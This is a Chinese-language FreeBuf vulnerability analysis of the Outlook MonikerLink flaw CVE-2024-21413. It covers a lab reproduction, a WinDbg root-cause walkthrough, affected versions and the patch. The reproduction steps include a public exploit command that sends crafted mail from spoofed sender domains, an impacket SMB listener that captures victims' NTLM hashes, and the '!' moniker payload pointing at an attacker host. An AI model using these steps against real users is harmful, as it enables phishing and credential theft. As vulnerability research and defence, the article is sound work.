freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2024-21413 Outlook远程代码执行漏洞分析
2024-03-28 14:45:47

一、前言

Microsoft Office Outlook是微软office的组件之一,也是常用的邮件客户端之一。CVE-2024-21413 是在 Microsoft Outlook 中发现的一个重大安全漏洞,CVSS 评分 9.8。攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。本文先讲复现过程,后讲漏洞原理。

二、漏洞复现

准备材料:windows和linux虚拟机,hMailServer

2.1 搭建邮件服务器

下载安装hMailServer。需要在Domins里配置邮箱的域名和账号,域名可以填成别人的域名。因为我们只用来发件,并不需要接收邮件,所以也不需要自己购买域名做解析。

注意,不是所有的域名都能发送成功,主流的邮箱都会做校验,我们客户端发出的邮件特征与官方来源不一致会直接丢弃。经过笔者尝试, youtu防和谐be.com或139.com域名可正常投递到163邮箱,其他域名请自行尝试。

2.2 安装outlook

推荐从ITELLYOU下载官方版的Office,https://msdn.itellyou.cn/

需要注意,不能只安装outlook,推荐安装全部套件。安装后无需激活,不影响后续利用。

2.3. 发送攻击邮件

使用exp链接:https://github.com/duy-31/CVE-2024-21413

./cve-2024-21413.sh [hMailServer ip] [hMailServer port] [hMailServer sender email ] [outlook reveiver email ] "\\[NTLM reveiver ip]\test\duy31.txt"
例如:
./cve-2024-21413.sh 192.168.0.210 25  admin@you防和谐tube.com  raddyfiy@163.com "\\192.168.0.44\test\duy31.txt"

2.4 NTLM接收机设置监听

sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

注意,impacket-smbserver是kali自带的工具。如果机器里没有,可以使用此脚本接收:https://github.com/lgandx/Responder

2.5 触发漏洞

正常情况下点击链接会触发outlook的告警:




但通过此漏洞构造的邮件不会触发任何告警,用户点击click之后,攻击者成功接收用户的NTLM。


2.6 RCE(命令执行)

此漏洞本质上只是实现了任意SMB URL访问。想要实现RCE需要与其他漏洞配合,例如CVE-2023-21716、CVE-2022-30190等。

三、漏洞原理

在Outlook里,此类链接统称为“Moniker Link”,所以此漏洞也被叫做MonikerLink漏洞。Outlook内部使用”ole32!MkParseDisplayName()”的api对MonikerLink进行解析,根据解析结果来寻找的COM对象。当用户单击访问后,会断在这个函数里:

Breakpoint 0 hit
eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4
eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ole32!MkParseDisplayName:
772a5ca0 8bff            mov     edi,edi
0:000> k
 # ChildEBP RetAddr
00 009c97ac 64707f22     ole32!MkParseDisplayName [com\ole32\com\moniker2\cmonimp.cxx @ 1413] 
01 009c97ac 64703930     hlink!HrParseDisplayNameEx+0x5052
02 009c983c 64702dc8     hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db     hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf     mso30win32client!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837af     wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065     wwlib!HrCreateHlinkFromField+0xda
07 009cece4 6a814114     wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8     wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3     wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066     wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a     wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e     wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59     wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e     wwlib!CMouseToolApp::ExecuteGesture+0xfa
...

查询微软的api文档: https://learn.microsoft.com/en-us/windows/win32/api/objbase/nf-objbase-mkparsedisplayname

可以看到API“MkParseDisplayName()”的第二个参数“szUserName”保存了我们构造的url。下断点可以看到我的输入:

0:000> du poi(esp+4*2)
1a168620 "\\10.10.111.111\test\test.rtf!something"

Payload的精髓是加了一个感叹号!,根据官方文档,当链接里有!时,会将整体识别为两部分,感叹号前面的叫FileMoniker,感叹号后面的(something)叫ItemMoniker。接下来windows会在后台调用Word组件,word会首先打开第一部分指向的文件(\\10.10.111.111\test\test.rtf),之后会在文件内部寻找ItemMoniker对象(something)。

但此链接是SMB协议的,该协议是windows进行文件共享的协议,认证过程会携带NTLM凭据。所以只要访问攻击者的机器,攻击者即可接收到NTLM,之后可以用hashcat等进行爆破。同时因为outlook会直接下载该链接的文件,当文件是RTF系列漏洞的攻击payload时,相应的漏洞就会被触发,进行进一步命令执行利用。

四、影响范围

漏洞几乎影响全系列office产品,包括但不限于:

Microsoft Office 2016 (64bit、32bit)
Microsoft Office 2019 (64bit、32bit)
Microsoft Office LTSC 2021  (64bit、32bit)
Microsoft 365 Apps for Enterprise  (64bit、32bit)

五、修复措施

微软已在2024年2月发布了修复补丁,更新KB5002537及以上的补丁即可修复。

六、总结

直到现在最常用 的社会工程学攻击手段仍是邮件钓鱼。有漏洞、长期不更新的邮件客户端极其容易成为钓鱼邮件的目标,所以用户应保持良好的使用习惯,邮件客户端要及时更新,或直接使用网页版邮箱。同时对于收到的任何邮件要保持警惕,不点击陌生链接、不下载可疑附件。



# 漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录